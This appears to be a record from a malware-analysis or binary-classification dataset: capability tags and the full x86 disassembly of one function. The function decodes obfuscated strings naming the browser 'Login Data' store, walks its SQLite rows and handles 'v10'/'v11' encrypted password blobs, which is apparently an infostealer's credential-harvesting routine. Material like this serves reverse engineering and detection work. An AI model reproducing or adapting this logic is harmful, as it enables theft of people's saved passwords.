Function at 0x4119fd
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1a8
push ebx
push ebp
push esi
mov ebx, edx
mov dword [esp + 0x20], ecx
push edi
mov dword [esp + 0xc0], ebx
call fcn.00419bf5
mov esi, eax
test esi, esi
je 0x4120e5
mov dword [esp + 0x10], 0x557a652c
xor ecx, ecx
mov dword [esp + 0x14], 0x606e6645
mov dword [esp + 0x18], 0x684d2967
mov word [esp + 0x1c], 0x687d
mov al, byte [esp + ecx + 0x10]
xor al, 9
movzx eax, al
mov word [esp + ecx*2 + 0x134], ax
inc ecx
cmp ecx, 0xe
jl 0x411a44
xor eax, eax
mov word [esp + 0x150], ax
lea eax, [esp + 0x134]
push ebx
push eax
call fcn.0041b73a
mov ebx, eax
mov dword [esp + 0xcc], ebx
pop ecx
pop ecx
test ebx, ebx
je 0x4120e5
mov ecx, ebx
call fcn.0041b794
mov ebp, eax
test ebp, ebp
je 0x4120de
xor edx, edx
mov ecx, ebp
call fcn.0041ba00
mov edi, eax
mov dword [esp + 0xc8], edi
test edi, edi
je 0x4120c7
push 0
push 1
lea eax, [esp + 0xd4]
push eax
push edi
call dword [esi + 4]
add esp, 0x10
test eax, eax
jne 0x4120b5
mov dword [esp + 0x34], 0xccd6d1ae
mov dword [esp + 0x38], 0xdad0cb88
mov dword [esp + 0x3c], 0xddd1d5d7
mov dword [esp + 0x40], 0xd7d488d5
mov dword [esp + 0x44], 0x88d6d1cf
mov dword [esp + 0x48], 0xc9dcc9cc
mov dword [esp + 0x4c], 0x88cacc88
mov dword [esp + 0x50], 0x72dbd48d
movups xmm0, xmmword [esp + eax + 0x34]
psubb xmm0, xmmword [0x420ff0]
movups xmmword [esp + eax + 0x154], xmm0
add eax, 0x10
cmp eax, 0x20
jl 0x411b0c
mov byte [esp + 0x174], 0
xor ecx, ecx
mov dword [esp + 0x80], 0x1017101e
mov dword [esp + 0x84], 0x3aeb1f0e
mov dword [esp + 0x88], 0x3432343d
mov dword [esp + 0x8c], 0x3d402a39
mov dword [esp + 0x90], 0x40ebf737
mov dword [esp + 0x94], 0x393d303e
mov dword [esp + 0x98], 0x2a30382c
mov dword [esp + 0x9c], 0x40372c41
mov dword [esp + 0xa0], 0x3bebf730
mov dword [esp + 0xa4], 0x423e3e2c
mov dword [esp + 0xa8], 0x2a2f3d3a
mov dword [esp + 0xac], 0x40372c41
mov dword [esp + 0xb0], 0x1d11eb30
mov dword [esp + 0xb4], 0x37eb181a
mov dword [esp + 0xb8], 0x3934323a
mov byte [esp + 0xbc], 0x3e
mov al, byte [esp + ecx + 0x80]
add al, 0x35
mov byte [esp + ecx + 0x178], al
inc ecx
cmp ecx, 0x3d
jl 0x411be0
lea eax, [esp + 0x154]
mov byte [esp + 0x1b5], 0
push ebx
push eax
call fcn.004125f4
push 0
lea eax, [esp + 0x2c]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x18c]
push eax
push dword [esp + 0xe4]
call dword [esi + 8]
add esp, 0x1c
test eax, eax
jne 0x4120ad
push dword [esp + 0x20]
lea edi, [esp + 0x58]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
jne 0x411f5b
mov ebx, dword [esp + 0x24]
xor edx, edx
mov dword [esp + 0x2c], 0xb3c5cbce
mov byte [esp + 0x30], 0x99
mov dword [esp + 0x64], 0xc4e2bdba
mov dword [esp + 0x68], 0xd6d9c5d2
mov dword [esp + 0x6c], 0x978dd2da
mov dword [esp + 0x10], 0xccfda7a0
mov dword [esp + 0x14], 0xc2dadede
mov dword [esp + 0x18], 0x8d97c9df
mov dword [esp + 0x70], 0x5021eaed
mov dword [esp + 0x74], 0x43494c50
mov dword [esp + 0x78], 0x4f495441
mov word [esp + 0x7c], 0x1a4e
mov byte [esp + 0x7e], dl
jmp 0x411cb4
xor edx, edx
mov ecx, edx
mov al, byte [esp + ecx + 0x2c]
sub al, 0x79
mov byte [esp + ecx + 0xd0], al
inc ecx
cmp ecx, 5
jl 0x411cb6
mov byte [esp + 0xd5], dl
mov ecx, edx
mov al, byte [esp + ecx + 0x64]
xor al, 0xb7
mov byte [esp + ecx + 0xf0], al
inc ecx
cmp ecx, 0xc
jl 0x411cd2
mov byte [esp + 0xfc], dl
mov ecx, edx
mov al, byte [esp + ecx + 0x10]
xor al, 0xad
mov byte [esp + ecx + 0x100], al
inc ecx
cmp ecx, 0xc
jl 0x411cee
mov byte [esp + 0x10c], dl
mov ecx, edx
mov al, byte [esp + ecx + 0x70]
add al, 0x20
mov byte [esp + ecx + 0x110], al
inc ecx
cmp ecx, 0xf
jl 0x411d0a
mov byte [esp + 0x11f], dl
mov ecx, edx
mov word [esp + 0x28], 0x5f
mov dword [esp + 0x34], 0x8989beb9
mov dword [esp + 0x38], 0x89898989
mov dword [esp + 0x3c], 0x89898989
mov dword [esp + 0x40], 0x89898989
mov word [esp + 0x44], 0xb989
mov byte [esp + 0x46], 0xbe
mov al, byte [esp + ecx + 0x34]
xor al, 0xb4
mov byte [esp + ecx + 0x120], al
inc ecx
cmp ecx, 0x13
jl 0x411d59
lea eax, [esp + 0xd0]
mov byte [esp + 0x133], dl
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0xd4]
lea ecx, [esp + 0x58]
call fcn.0041b87d
pop ecx
push 0
push dword [esp + 0x24]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 0
push dword [esp + 0x28]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.0041b9d8
pop ecx
lea eax, [esp + 0xf0]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0xf4]
lea ecx, [esp + 0x58]
call fcn.0041b87d
pop ecx
push 1
push dword [esp + 0x24]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x28]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.0041b9d8
pop ecx
lea eax, [esp + 0x100]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x104]
lea ecx, [esp + 0x58]
call fcn.0041b87d
pop ecx
push 2
push dword [esp + 0x24]
call dword [esi + 0x14]
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x411ece
push 2
push dword [esp + 0x24]
call dword [esi + 0x20]
cmp byte [edi], 0x76
mov edx, eax
pop ecx
pop ecx
jne 0x411e7e
cmp byte [edi + 1], 0x31
lea eax, [edi + 2]
jne 0x411e7e
cmp byte [eax], 0x30
je 0x411e53
cmp byte [eax], 0x31
jne 0x411e7e
lea eax, [esp + 0x24]
mov ecx, edi
push eax
call fcn.0040f87c
mov edi, eax
pop ecx
test edi, edi
je 0x411ece
push dword [esp + 0x24]
mov edx, edi
lea ecx, [esp + 0x58]
call fcn.0041b87d
pop ecx
push edi
call fcn.004056f0
jmp 0x411ecd
lea eax, [esp + 0xe8]
mov dword [esp + 0xe0], edx
push eax
xor eax, eax
mov dword [esp + 0xe8], edi
push eax
push eax
push eax
push eax
push eax
lea eax, [esp + 0xf8]
mov edx, 0xbedfd981
push eax
push 3
pop ecx
call fcn.00412ca7
call eax
test eax, eax
je 0x411ece
push dword [esp + 0xe8]
mov edx, dword [esp + 0xf0]
lea ecx, [esp + 0x58]
call fcn.0041b87d
pop ecx
lea eax, [esp + 0x110]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x114]
lea ecx, [esp + 0x58]
call fcn.0041b87d
pop ecx
mov edx, ebx
lea ecx, [esp + 0x54]
call fcn.0041b704
lea eax, [esp + 0x28]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x58]
call fcn.0041b87d
mov edx, dword [esp + 0x1c0]
pop ecx
lea ecx, [esp + 0x54]
call fcn.0041b704
lea eax, [esp + 0x120]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x124]
lea ecx, [esp + 0x58]
call fcn.0041b87d
pop ecx
push dword [esp + 0x20]
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
je 0x411cb2
mov ebx, dword [esp + 0xc4]
cmp dword [esp + 0x54], 0
je 0x4120a6
mov dword [esp + 0x10], 0x32322011
xor ecx, ecx
mov dword [esp + 0x14], 0x25332e36
mov dword [esp + 0x18], 0x39356f32
mov byte [esp + 0x1c], 0x35
mov al, byte [esp + ecx + 0x10]
xor al, 0x41
movzx eax, al
mov word [esp + ecx*2 + 0x34], ax
inc ecx
cmp ecx, 0xd
jl 0x411f85
mov ecx, dword [esp + 0xc0]
lea edx, [esp + 0x24]
xor eax, eax
mov word [esp + 0x4e], ax
call fcn.004120f0
mov edi, eax
test edi, edi
je 0x412089
mov edx, dword [esp + 0x24]
lea eax, [esp + 0xc0]
push eax
mov ecx, edi
call fcn.0040f87c
mov ebx, eax
pop ecx
test ebx, ebx
je 0x41207b
mov dword [esp + 0x2c], 0x69470601
xor ecx, ecx
mov word [esp + 0x30], 0x3675
mov byte [esp + 0x32], 0x2c
mov al, byte [esp + ecx + 0x2c]
xor al, 0xc
mov byte [esp + ecx + 0xd8], al
inc ecx
cmp ecx, 7
jl 0x411fee
mov byte [esp + 0xdf], 0
xor ecx, ecx
mov word [esp + 0x24], 0xc7c0
mov al, byte [esp + ecx + 0x24]
xor al, 0xcd
mov byte [esp + ecx + 0x60], al
inc ecx
cmp ecx, 2
jl 0x412012
lea eax, [esp + 0xd8]
mov byte [esp + 0x62], 0
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0xdc]
lea ecx, [esp + 0x58]
call fcn.0041b87d
pop ecx
push dword [esp + 0xc0]
mov edx, ebx
lea ecx, [esp + 0x58]
call fcn.0041b87d
pop ecx
lea eax, [esp + 0x60]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x64]
lea ecx, [esp + 0x58]
call fcn.0041b87d
pop ecx
push ebx
call fcn.004056f0
pop ecx
push edi
call fcn.004056f0
mov ebx, dword [esp + 0xc8]
pop ecx
mov edx, dword [esp + 0x5c]
lea eax, [esp + 0x34]
mov ecx, dword [esp + 0x54]
push eax
call fcn.00418be5
pop ecx
push dword [esp + 0x54]
call fcn.004056f0
pop ecx
mov edi, dword [esp + 0xc8]
push dword [esp + 0x20]
call dword [esi + 0x18]
pop ecx
push dword [esp + 0xcc]
call dword [esi + 0x1c]
pop ecx
push edi
call fcn.004056f0
pop ecx
xor ecx, ecx
mov edx, 0x62d87b
push ebp
inc ecx
call fcn.00412ca7
call eax
push ebp
call fcn.004056f0
pop ecx
push ebx
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret